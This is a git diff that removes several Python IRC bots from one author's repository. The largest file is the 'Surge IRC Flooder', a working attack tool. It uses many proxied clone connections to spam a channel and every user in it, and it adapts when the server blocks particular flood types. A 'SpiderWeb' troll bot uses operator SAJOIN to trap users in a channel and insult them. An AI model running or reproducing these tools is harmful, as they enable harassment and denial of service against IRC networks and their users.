def sendmsg(self, target, msg):
|
||||
self.raw('PRIVMSG {0} :{1}'.format(target, msg))
|
||||
|
||||
def who(self, flag, args):
|
||||
self.raw('who +{0} {1}'.format(flag, args))
|
||||
|
||||
IRCS = IRC()
|
1
irc/bots/ircs/ircs/data/.gitignore
vendored
1
irc/bots/ircs/ircs/data/.gitignore
vendored
@ -1 +0,0 @@
|
||||
!.gitignore
|
@ -1,20 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
|
||||
# ircs.py
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
sys.dont_write_bytecode = True
|
||||
os.chdir(sys.path[0] or '.')
|
||||
sys.path += ('core',)
|
||||
|
||||
import debug
|
||||
import irc
|
||||
|
||||
debug.info()
|
||||
if not debug.check_version(3):
|
||||
debug.error_exit('IRCS requires Python 3!')
|
||||
if debug.check_privileges():
|
||||
debug.error_exit('Do not run IRCS as admin/root!')
|
||||
irc.IRCS.connect()
|
@ -1,264 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# LimitServ IRC Service Bot - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
# Configuration
|
||||
_connection = {'server':'irc.server.com', 'port':6697, 'ssl':True, 'ssl_verify':False, 'ipv6':False, 'vhost':None}
|
||||
_cert = {'file':None, 'key':None, 'password':None}
|
||||
_ident = {'nickname':'LimitServ', 'username':'services', 'realname':'Channel Limit Service'}
|
||||
_login = {'nickserv':None, 'network':None, 'operator':None}
|
||||
_throttle = {'limit':300, 'queue':0.5, 'voice':10}
|
||||
_settings = {'anope':False, 'honeypot':'#blackhole', 'limit':10, 'modes':None}
|
||||
|
||||
def debug(msg):
|
||||
print(f'{get_time()} | [~] - {msg}')
|
||||
|
||||
def error(msg, reason):
|
||||
print(f'{get_time()} | [!] - {msg} ({reason})')
|
||||
|
||||
def get_time():
|
||||
return time.strftime('%I:%M:%S')
|
||||
|
||||
class IRC(object):
|
||||
def __init__(self):
|
||||
self._channels = list()
|
||||
self._names = list()
|
||||
self._queue = list()
|
||||
self._voices = dict()
|
||||
self._sock = None
|
||||
|
||||
def _run(self):
|
||||
Loop._loops()
|
||||
self._connect()
|
||||
|
||||
def _connect(self):
|
||||
try:
|
||||
self._create_socket()
|
||||
self._sock.connect((_connection['server'], _connection['port']))
|
||||
self._register()
|
||||
except socket.error as ex:
|
||||
error('Failed to connect to IRC server.', ex)
|
||||
Event._disconnect()
|
||||
else:
|
||||
self._listen()
|
||||
|
||||
def _create_socket(self):
|
||||
self._sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) if _connection['ipv6'] else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
if _connection['vhost']:
|
||||
self._sock.bind((_connection['vhost'], 0))
|
||||
if _connection['ssl']:
|
||||
ctx = ssl.SSLContext()
|
||||
if _cert['file']:
|
||||
ctx.load_cert_chain(_cert['file'], _cert['key'], _cert['password'])
|
||||
if _connection['ssl_verify']:
|
||||
ctx.verify_mode = ssl.CERT_REQUIRED
|
||||
ctx.load_default_certs()
|
||||
else:
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
self._sock = ctx.wrap_socket(self._sock)
|
||||
|
||||
def _listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self._sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||
debug(line)
|
||||
Event._handle(line)
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except Exception as ex:
|
||||
error('Unexpected error occured.', ex)
|
||||
break
|
||||
Event._disconnect()
|
||||
|
||||
def _register(self):
|
||||
if _login['network']:
|
||||
Bot._queue.append('PASS ' + _login['network'])
|
||||
Bot._queue.append('USER {0} 0 * :{1}'.format(_ident['username'], _ident['realname']))
|
||||
Bot._queue.append('NICK ' + _ident['nickname'])
|
||||
|
||||
class Command:
|
||||
def _join(chan, key=None):
|
||||
Bot._queue.append('JOIN {chan} {key}') if key else Bot._queue.append('JOIN ' + chan)
|
||||
|
||||
def _kick(chan, nick, msg=None):
|
||||
Bot._queue.append(f'KICK {chan} {nick} {msg}') if msg else Bot._queue.append(f'KICK {chan} {nick}')
|
||||
|
||||
def _mode(target, mode):
|
||||
Bot._queue.append(f'MODE {target} {mode}')
|
||||
|
||||
def _raw(msg):
|
||||
Bot._sock.send(bytes(msg[:510] + '\r\n', 'utf-8'))
|
||||
|
||||
def _sendmsg(target, msg):
|
||||
Bot._queue.append(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
class Event:
|
||||
def _connect():
|
||||
if _settings['modes']:
|
||||
Command._mode(_ident['nickname'], '+' + _settings['modes'])
|
||||
if _login['nickserv']:
|
||||
Command._sendmsg('NickServ', 'IDENTIFY {0} {1}'.format(_ident['nickname'], _login['nickserv']))
|
||||
if _login['operator']:
|
||||
Bot._queue.append('OPER {0} {1}'.format(_ident['username'], _login['operator']))
|
||||
|
||||
def _disconnect():
|
||||
Bot._sock.close()
|
||||
Bot._names = list()
|
||||
Bot._queue = list()
|
||||
Bot._voices = dict()
|
||||
time.sleep(15)
|
||||
Bot.connect()
|
||||
|
||||
def _end_of_names(chan):
|
||||
limit = str(len(Bot._names) + _settings['limit'])
|
||||
if settings['anope']:
|
||||
Command._sendmsg('ChanServ', 'MODE {0} LOCK ADD +lL {1} {2}'.format(chan, limit, _settings['honeypot']))
|
||||
else:
|
||||
Command._mode(chan, '+lL {0} {1}'.format(limit, _settings['honeypot']))
|
||||
Bot._names = list()
|
||||
|
||||
def _join(nick, chan):
|
||||
if nick == _ident['nickname'].lower():
|
||||
if chan not in Bot._channels:
|
||||
Bot._channels.append(chan)
|
||||
if chan not in Bot._voices:
|
||||
Bot._voices[chan] = dict()
|
||||
elif chan in Bot._channels:
|
||||
if nick not in Bot._voices[chan]:
|
||||
Bot._voices[chan][nick] = time.time()
|
||||
|
||||
def _kick(nick, chan, kicked):
|
||||
if nick == _ident['nickname'].lower():
|
||||
Bot._channels.remove(chan)
|
||||
del Bot._voices[chan]
|
||||
time.sleep(3)
|
||||
Command._join(chan)
|
||||
elif chan in Bot._channels:
|
||||
if nick in Bot._voices[chan]:
|
||||
del Bot._voices[chan][nick]
|
||||
|
||||
def _names(chan, nicks):
|
||||
for name in nicks:
|
||||
if name[:1] in '~!@%&+':
|
||||
name = name[1:]
|
||||
Bot._names.append(name)
|
||||
|
||||
def _nick(nick, new_nick):
|
||||
for chan in Bot._voices:
|
||||
if nick in Bot._voices[chan]:
|
||||
Bot._voices[chan][new_nick] = Bot._voices[chan][nick]
|
||||
del Bot._voices[chan][nick]
|
||||
|
||||
def _no_such_nick(nick):
|
||||
for chan in Bot._voices:
|
||||
if nick in Bot._voices[chan]:
|
||||
del Bot.voices[chan][nick]
|
||||
|
||||
def _part(nick, chan):
|
||||
if nick == _ident['nickname'].lower():
|
||||
Bot._channels.remove(chan)
|
||||
del Bot._voices[chan]
|
||||
elif chan in Bot._channels:
|
||||
if nick in Bot._voices[chan]:
|
||||
del Bot._voices[chan][nick]
|
||||
|
||||
def _quit(nick):
|
||||
for chan in Bot._voices:
|
||||
if nick in Bot._voices[chan]:
|
||||
del Bot._voices[chan][nick]
|
||||
|
||||
def _handle(data):
|
||||
args = data.split()
|
||||
if data.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif data.startswith('ERROR :Reconnecting too fast, throttled.'):
|
||||
raise Exception('Connection has closed. (throttled)')
|
||||
elif args[0] == 'PING':
|
||||
Command._raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001': # RPL_WELCOME
|
||||
Event._connect()
|
||||
elif args[1] == '401': # ERR_NOSUCHNICK
|
||||
nick = args[3].lower()
|
||||
Event._no_such_nick(nick)
|
||||
elif args[1] == '433': # ERR_NICKNAMEINUSE
|
||||
raise Exception('Bot is already running or nick is in use.')
|
||||
elif args[1] == '353' and len(args) >= 6: #RPL_NAMREPLY
|
||||
chan = args[4].lower()
|
||||
names = ' '.join(args[5:]).lower()[1:].split()
|
||||
Event._names(chan, names)
|
||||
elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
|
||||
chan = args[3].lower()
|
||||
Event._end_of_names(chan)
|
||||
elif args[1] == 'JOIN' and len(args) == 3:
|
||||
nick = args[0].split('!')[0][1:].lower()
|
||||
chan = args[2][1:].lower()
|
||||
Event._join(nick, chan)
|
||||
elif args[1] == 'KICK' and len(args) >= 4:
|
||||
nick = args[0].split('!')[0][1:].lower()
|
||||
chan = args[2].lower()
|
||||
kicked = args[3].lower()
|
||||
Event._kick(nick, chan, kicked)
|
||||
elif args[1] == 'NICK' and len(args) == 3:
|
||||
nick = args[0].split('!')[0][1:].lower()
|
||||
new_nick = args[2][1:].lower()
|
||||
Event._nick(nick, new_nick)
|
||||
elif args[1] == 'PART' and len(args) >= 3:
|
||||
nick = args[0].split('!')[0][1:].lower()
|
||||
chan = args[2].lower()
|
||||
Event._part(nick, chan)
|
||||
elif args[1] == 'QUIT':
|
||||
nick = args[0].split('!')[0][1:].lower()
|
||||
Event._quit(nick)
|
||||
|
||||
class Loop:
|
||||
def _loops():
|
||||
threading.Thread(target=Loop._queue).start() # start first to handle incoming data
|
||||
threading.Thread(target=Loop._limit).start()
|
||||
threading.Thread(target=Loop._voice).start()
|
||||
|
||||
def _limit():
|
||||
while True:
|
||||
try:
|
||||
for chan in Bot._channels:
|
||||
Bot._queue.append('NAMES ' + chan)
|
||||
except Exception as ex:
|
||||
error('Error occured in the loop!', ex)
|
||||
finally:
|
||||
time.sleep(_throttle['limit'])
|
||||
|
||||
def _queue():
|
||||
while True:
|
||||
try:
|
||||
if Bot._queue:
|
||||
Command._raw(Bot._queue.pop(0))
|
||||
except Exception as ex:
|
||||
error('Error occured in the queue loop!', ex)
|
||||
finally:
|
||||
time.sleep(_throttle['queue'])
|
||||
|
||||
def _voice():
|
||||
while True:
|
||||
try:
|
||||
for chan in Bot._voices:
|
||||
nicks = [nick for nick in Bot._voices[chan] if time.time() - Bot._voices[chan][nick] > _throttle['voice']]
|
||||
for item in [nicks[i:i + 4] for i in range(0, len(nicks), 4)]:
|
||||
Command._mode(chan, '+{0} {1}'.format('v'*len(item), ' '.join(item)))
|
||||
for subitem in item:
|
||||
del Bot._voices[chan][subitem]
|
||||
except Exception as ex:
|
||||
error('Error occured in the voice loop!', ex)
|
||||
finally:
|
||||
time.sleep(1)
|
||||
|
||||
# Main
|
||||
if _connection['ssl']:
|
||||
import ssl
|
||||
else:
|
||||
del cert, _connection['verify']
|
||||
Bot = IRC()
|
||||
Bot._run()
|
@ -1,50 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# SpiderWeb IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
|
||||
|
||||
'''
|
||||
This bot requires network operator privledges in order to use the SAJOIN command.
|
||||
The bot will idle in the #spiderweb channel. Anyone leaving the channel will be force joined back.
|
||||
'''
|
||||
|
||||
import socket
|
||||
import ssl
|
||||
import time
|
||||
|
||||
nickserv_password='CHANGEME'
|
||||
operator_password='CHANGEME'
|
||||
|
||||
def raw(msg):
|
||||
sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
while True:
|
||||
try:
|
||||
sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
|
||||
sock.connect(('localhost', 6697))
|
||||
raw(f'USER spider 0 * :CAUGHT IN THE WEB')
|
||||
raw('NICK spider')
|
||||
while True:
|
||||
try:
|
||||
data = sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||
print('{0} | [~] - {1}'.format(time.strftime('%I:%M:%S'), line))
|
||||
args=line.split()
|
||||
if line.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif args[0] == 'PING':
|
||||
raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
raw('MODE spider +BDd')
|
||||
raw('PRIVMSG NickServ IDENTIFY spider ' + nickserv_password)
|
||||
raw('OPER spider ' + operator_password)
|
||||
raw('JOIN #spiderweb')
|
||||
elif args[1] == 'PART' and len(args) >= 3:
|
||||
if args[2]=='#spiderweb':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
raw(f'SAJOIN {nick} #spiderweb')
|
||||
raw(f'PRIVMSG #spiderweb :HA HA HA! IM A BIG ASSHOLE SPIDER AND {nick} IS CAUGHT IN MY SPIDER WEB!!!')
|
||||
except (UnicodeDecodeError, UnicodeEncodeError):
|
||||
pass
|
||||
except:
|
||||
sock.close()
|
||||
finally:
|
||||
time.sleep(15)
|
@ -1,396 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/trollbots)
|
||||
# surge.py
|
||||
|
||||
'''
|
||||
- Action
|
||||
- Color
|
||||
- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
|
||||
- Cycle *(Join/Part)*
|
||||
- Hilight
|
||||
- Invite
|
||||
- Message / Private Message
|
||||
- Nick
|
||||
- Notice
|
||||
- Topic
|
||||
- Nick Registration (Channel & VHOST also if successful)
|
||||
|
||||
The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
|
||||
If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
|
||||
'''
|
||||
|
||||
import argparse
|
||||
import concurrent.futures
|
||||
import os
|
||||
import random
|
||||
import ssl
|
||||
import socket
|
||||
import string
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
class config:
|
||||
class connection:
|
||||
server = 'irc.server.com'
|
||||
port = 6667
|
||||
ipv6 = False
|
||||
ssl = False
|
||||
password = None
|
||||
channel = '#chats'
|
||||
key = None
|
||||
|
||||
class attacks:
|
||||
channel = ['action','color','ctcp','msg','nick','notice','part','topic']
|
||||
message = 'SURGE SURGE SURGE SURGE SURGE'
|
||||
nicklist = ['ctcp','invite','notice','private']
|
||||
|
||||
class throttle:
|
||||
attack = 3
|
||||
concurrency = 3
|
||||
threads = 100
|
||||
rejoin = 3
|
||||
timeout = 15
|
||||
|
||||
# Bad IRC Numerics
|
||||
bad_numerics = {
|
||||
'465' : 'ERR_YOUREBANNEDCREEP',
|
||||
'471' : 'ERR_CHANNELISFULL',
|
||||
'473' : 'ERR_INVITEONLYCHAN',
|
||||
'474' : 'ERR_BANNEDFROMCHAN',
|
||||
'475' : 'ERR_BADCHANNELKEY',
|
||||
'477' : 'ERR_NEEDREGGEDNICK',
|
||||
'519' : 'ERR_TOOMANYUSERS'
|
||||
}
|
||||
|
||||
def alert(msg):
|
||||
print(f'{get_time()} | [+] - {msg}')
|
||||
|
||||
def debug(msg):
|
||||
print(f'{get_time()} | [~] - {msg}')
|
||||
|
||||
def error(msg, reason=None):
|
||||
if reason:
|
||||
print(f'{get_time()} | [!] - {msg} ({reason})')
|
||||
else:
|
||||
print(f'{get_time()} | [!] - {msg}')
|
||||
|
||||
def error_exit(msg):
|
||||
raise SystemExit(f'{get_time()} | [!] - {msg}')
|
||||
|
||||
def get_time():
|
||||
return time.strftime('%I:%M:%S')
|
||||
|
||||
def keep_alive():
|
||||
try:
|
||||
while True:
|
||||
input('')
|
||||
except KeyboardInterrupt:
|
||||
sys.exit()
|
||||
|
||||
def random_int(min, max):
|
||||
return random.randint(min, max)
|
||||
|
||||
def random_str(size):
|
||||
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
|
||||
|
||||
class clone:
|
||||
def __init__(self, data_line):
|
||||
self.data_line = data_line
|
||||
self.invite_channel = '#' + random_str(random_int(4,7))
|
||||
self.invite_count = 0
|
||||
self.nickname = random_str(random_int(4,7))
|
||||
self.nicklist = []
|
||||
self.sock = None
|
||||
|
||||
def run(self):
|
||||
self.connect()
|
||||
|
||||
def action(self, chan, msg):
|
||||
self.sendmsg(chan, f'\x01ACTION {msg}\x01')
|
||||
|
||||
def attack_channel(self):
|
||||
while True:
|
||||
if not config.attacks.channel:
|
||||
error('Channel attack list is empty.')
|
||||
break
|
||||
else:
|
||||
option = random.choice(config.attacks.channel)
|
||||
try:
|
||||
if option in ('nick','part','topic'):
|
||||
if option == 'nick':
|
||||
self.nickname = random_str(random_int(4,7))
|
||||
self.nick(self.nickname)
|
||||
elif option == 'part':
|
||||
self.part(config.connection.channel, config.attacks.message)
|
||||
time.sleep(config.throttle.rejoin)
|
||||
self.join_channel(config.connection.channel, config.connection.key)
|
||||
elif option == 'topic':
|
||||
self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
|
||||
else:
|
||||
if self.nicklist:
|
||||
message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
|
||||
else:
|
||||
message = self.rainbow(config.attacks.message)
|
||||
if option == 'action':
|
||||
self.action(config.connection.channel, message)
|
||||
elif option == 'ctcp':
|
||||
self.ctcp(config.connection.channel, message)
|
||||
elif option == 'msg':
|
||||
self.sendmsg(config.connection.channel, message)
|
||||
elif option == 'notice':
|
||||
self.notice(config.connection.channel, message)
|
||||
time.sleep(config.throttle.attack)
|
||||
except:
|
||||
break
|
||||
|
||||
def attack_nicklist(self):
|
||||
while True:
|
||||
if not self.nicklist:
|
||||
error('Nicklist attack list is empty.')
|
||||
break
|
||||
else:
|
||||
try:
|
||||
for nick in self.nicklist:
|
||||
option = random.choice(config.attacks.nicklist)
|
||||
if option == 'ctcp':
|
||||
self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
|
||||
elif option == 'invite':
|
||||
self.invite(nick, self.invite_channel)
|
||||
self.invite_count += 1
|
||||
if self.invite_count >= 10:
|
||||
self.part(self.invite_channel)
|
||||
self.invite_channel = '#' + random_str(random_int(5,8))
|
||||
self.join(self.invite_channel)
|
||||
elif option == 'notice':
|
||||
self.notice(nick, config.attacks.message)
|
||||
elif option == 'private':
|
||||
self.sendmsg(nick, self.rainbow(config.attacks.message))
|
||||
time.sleep(config.throttle.attack)
|
||||
except:
|
||||
break
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.create_socket()
|
||||
self.sock.connect((config.connection.server, config.connection.port))
|
||||
self.register()
|
||||
except socket.error:
|
||||
self.sock.close()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def create_socket(self):
|
||||
family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
|
||||
if pargs.proxy:
|
||||
proxy_server, proxy_port = self.data_line.split(':')
|
||||
self.sock = socks.socksocket(family, socket.SOCK_STREAM)
|
||||
self.sock.setblocking(0)
|
||||
self.sock.settimeout(config.throttle.timeout)
|
||||
self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
|
||||
elif pargs.vhost:
|
||||
self.sock = socket.socket(family, socket.SOCK_STREAM)
|
||||
self.sock.bind((self.data_line, 0))
|
||||
if config.connection.ssl:
|
||||
self.sock = ssl.wrap_socket(self.sock)
|
||||
|
||||
def ctcp(self, target, data):
|
||||
self.sendmsg(target, f'\001{data}\001')
|
||||
|
||||
def event_connect(self):
|
||||
alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
|
||||
self.join_channel(config.connection.channel, config.connection.key)
|
||||
self.join_channel(self.invite_channel)
|
||||
|
||||
def event_end_of_names(self):
|
||||
threading.Thread(target=self.attack_channel).start()
|
||||
threading.Thread(target=self.attack_nicklist).start()
|
||||
|
||||
def event_kick(self, chan, kicked):
|
||||
if kicked == self.nickname:
|
||||
time.sleep(config.throttle.rejoin)
|
||||
self.join_channel(config.connection.channel, config.connection.key)
|
||||
else:
|
||||
if nick in self.nicklist:
|
||||
self.nicklist.remove(nick)
|
||||
|
||||
def event_names(self, chan, names):
|
||||
for name in names:
|
||||
if name[:1] in '~!@%&+:':
|
||||
name = name[1:]
|
||||
if name != self.nickname and name not in self.nicklist:
|
||||
self.nicklist.append(name)
|
||||
|
||||
def event_nick_in_use(self):
|
||||
self.nickname = random_str(random_int(5,8))
|
||||
self.nick(self.nickname)
|
||||
|
||||
def event_quit(self, nick):
|
||||
if nick in self.nicklist:
|
||||
self.nicklist.remove(nick)
|
||||
|
||||
def handle_events(self, data):
|
||||
args = data.split()
|
||||
if args[0] == 'PING':
|
||||
self.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
self.event_connect()
|
||||
elif args[1] == '353':
|
||||
chan = args[4]
|
||||
if ' :' in data:
|
||||
names = data.split(' :')[1].split()
|
||||
elif ' *' in data:
|
||||
names = data.split(' *')[1].split()
|
||||
elif ' =' in data:
|
||||
names = data.split(' =')[1].split()
|
||||
else:
|
||||
names = data.split(chan)[1].split()
|
||||
self.event_names(chan, names)
|
||||
elif args[1] == '366':
|
||||
self.event_end_of_names()
|
||||
elif args[1] == '401':
|
||||
name = args[3]
|
||||
if name in self.nicklist:
|
||||
self.nicklist.remove(name)
|
||||
elif args[1] == '404':
|
||||
if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
|
||||
config.attacks.channel.remove('action')
|
||||
elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
|
||||
config.attacks.channel.remove('color')
|
||||
elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
|
||||
config.attacks.channel.remove('ctcp')
|
||||
elif 'You need voice' in data or 'You must have a registered nick' in data:
|
||||
for attack in ('action','ctcp','msg','notice','topic'):
|
||||
if attack in config.attacks.channel:
|
||||
config.attacks.channel.remove(attack)
|
||||
elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
|
||||
self.attacks_channel.remove('notice')
|
||||
elif args[1] == '433':
|
||||
self.event_nick_in_use()
|
||||
elif args[1] == '447':
|
||||
if 'nick' in config.attacks.channel:
|
||||
config.attacks.channel.remove('nick')
|
||||
elif args[1] == '482':
|
||||
if 'topic' in config.attacks.channel:
|
||||
config.attacks.channel.remove('topic')
|
||||
elif args[1] == '492':
|
||||
if 'ctcp' in config.attacks.nicklist:
|
||||
config.attacks.nicklist.remove('ctcp')
|
||||
elif args[1] == '499':
|
||||
if 'topic' in config.attacks.channel:
|
||||
config.attacks.channel.remove('topic')
|
||||
elif args[1] == '518':
|
||||
if 'invite' in config.attacks.nicklist:
|
||||
config.attacks.nicklist.remove('invite')
|
||||
elif args[1] in bad_numerics:
|
||||
error('Flood protection has been enabled!', bad_numerics[args[1]])
|
||||
self.sock.close()
|
||||
elif args[1] == 'KICK':
|
||||
chan = args[2]
|
||||
kicked = args[3]
|
||||
self.event_kick(chan, kicked)
|
||||
elif args[1] == 'QUIT':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
self.event_quit(nick)
|
||||
|
||||
def invite(self, nick, chan):
|
||||
self.raw(f'INVITE {nick} {chan}')
|
||||
|
||||
def join_channel(self, chan, key=None):
|
||||
if key:
|
||||
self.raw(f'JOIN {chan} {key}')
|
||||
else:
|
||||
self.raw('JOIN ' + chan)
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if line):
|
||||
if len(line.split()) >= 2:
|
||||
self.handle_events(line)
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except:
|
||||
break
|
||||
self.sock.close()
|
||||
|
||||
def nick(self, nick):
|
||||
self.raw('NICK ' + nick)
|
||||
|
||||
def notice(self, target, msg):
|
||||
self.raw(f'NOTICE {target} :{msg}')
|
||||
|
||||
def part(self, chan, msg):
|
||||
self.raw(f'PART {chan} :{msg}')
|
||||
|
||||
def rainbow(self, msg):
|
||||
if 'color' in config.attacks.channel:
|
||||
message = ''
|
||||
for i in range(random_int(10,20)):
|
||||
message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
|
||||
message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
|
||||
for i in range(random_int(10,20)):
|
||||
message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
|
||||
else:
|
||||
message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
|
||||
return message
|
||||
|
||||
def raw(self, msg):
|
||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
def register(self):
|
||||
if config.connection.password:
|
||||
self.raw('PASS ' + config.connection.password)
|
||||
self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
|
||||
self.nick(self.nickname)
|
||||
|
||||
def sendmsg(self, target, msg):
|
||||
self.raw(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
def topic(self, chan, text):
|
||||
self.raw(f'TOPIC {chan} :{text}')
|
||||
|
||||
def unicode(self, msg):
|
||||
start = 0x1000
|
||||
end = 0x3000
|
||||
message = ''
|
||||
for i in range(random.randint(100,150)):
|
||||
message = message + chr(random.randint(start, end))
|
||||
message = message + msg
|
||||
for i in range(random.randint(100,150)):
|
||||
message = message + chr(random.randint(start, end))
|
||||
|
||||
|
||||
# Main
|
||||
print('#'*56)
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print('#{0}#'.format('Surge IRC Flooder'.center(54)))
|
||||
print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
|
||||
print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print('#'*56)
|
||||
parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
|
||||
parser.add_argument('input', help='file to scan')
|
||||
parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
|
||||
parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
|
||||
pargs = parser.parse_args()
|
||||
if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
|
||||
error_exit('Invalid arguments.')
|
||||
if pargs.proxy:
|
||||
try:
|
||||
import socks
|
||||
except ImportError:
|
||||
error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
|
||||
if not os.path.isfile(pargs.input):
|
||||
error_exit('No such input file.')
|
||||
data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
|
||||
debug(f'Loaded {len(data_lines)} lines from file.')
|
||||
random.shuffle(data_lines)
|
||||
for i in range(config.throttle.concurrency):
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
|
||||
checks = {executor.submit(clone(line).connect): line for line in data_lines}
|
||||
for future in concurrent.futures.as_completed(checks):
|
||||
checks[future]
|
||||
debug('Flooding is complete.')
|
228
irc/constants.py
228
irc/constants.py
@ -1,228 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# internet relay chat constants - developed by acidvegas in python (https://git.acid.vegas/random)
|
||||
|
||||
# Control Characters
|
||||
bold = '\x02'
|
||||
color = '\x03'
|
||||
italic = '\x1D'
|
||||
underline = '\x1F'
|
||||
reverse = '\x16'
|
||||
reset = '\x0f'
|
||||
|
||||
# Color Codes
|
||||
white = '00'
|
||||
black = '01'
|
||||
blue = '02'
|
||||
green = '03'
|
||||
red = '04'
|
||||
brown = '05'
|
||||
purple = '06'
|
||||
orange = '07'
|
||||
yellow = '08'
|
||||
light_green = '09'
|
||||
cyan = '10'
|
||||
light_cyan = '11'
|
||||
light_blue = '12'
|
||||
pink = '13'
|
||||
grey = '14'
|
||||
light_grey = '15'
|
||||
|
||||
# Events
|
||||
PASS = 'PASS'
|
||||
NICK = 'NICK'
|
||||
USER = 'USER'
|
||||
OPER = 'OPER'
|
||||
MODE = 'MODE'
|
||||
SERVICE = 'SERVICE'
|
||||
QUIT = 'QUIT'
|
||||
SQUIT = 'SQUIT'
|
||||
JOIN = 'JOIN'
|
||||
PART = 'PART'
|
||||
TOPIC = 'TOPIC'
|
||||
NAMES = 'NAMES'
|
||||
LIST = 'LIST'
|
||||
INVITE = 'INVITE'
|
||||
KICK = 'KICK'
|
||||
PRIVMSG = 'PRIVMSG'
|
||||
NOTICE = 'NOTICE'
|
||||
MOTD = 'MOTD'
|
||||
LUSERS = 'LUSERS'
|
||||
VERSION = 'VERSION'
|
||||
STATS = 'STATS'
|
||||
LINKS = 'LINKS'
|
||||
TIME = 'TIME'
|
||||
CONNECT = 'CONNECT'
|
||||
TRACE = 'TRACE'
|
||||
ADMIN = 'ADMIN'
|
||||
INFO = 'INFO'
|
||||
SERVLIST = 'SERVLIST'
|
||||
SQUERY = 'SQUERY'
|
||||
WHO = 'WHO'
|
||||
WHOIS = 'WHOIS'
|
||||
WHOWAS = 'WHOWAS'
|
||||
KILL = 'KILL'
|
||||
PING = 'PING'
|
||||
PONG = 'PONG'
|
||||
ERROR = 'ERROR'
|
||||
AWAY = 'AWAY'
|
||||
REHASH = 'REHASH'
|
||||
DIE = 'DIE'
|
||||
RESTART = 'RESTART'
|
||||
SUMMON = 'SUMMON'
|
||||
USERS = 'USERS'
|
||||
WALLOPS = 'WALLOPS'
|
||||
USERHOST = 'USERHOST'
|
||||
ISON = 'ISON'
|
||||
|
||||
# Event Numerics
|
||||
RPL_WELCOME = '001'
|
||||
RPL_YOURHOST = '002'
|
||||
RPL_CREATED = '003'
|
||||
RPL_MYINFO = '004'
|
||||
RPL_ISUPPORT = '005'
|
||||
RPL_TRACELINK = '200'
|
||||
RPL_TRACECONNECTING = '201'
|
||||
RPL_TRACEHANDSHAKE = '202'
|
||||
RPL_TRACEUNKNOWN = '203'
|
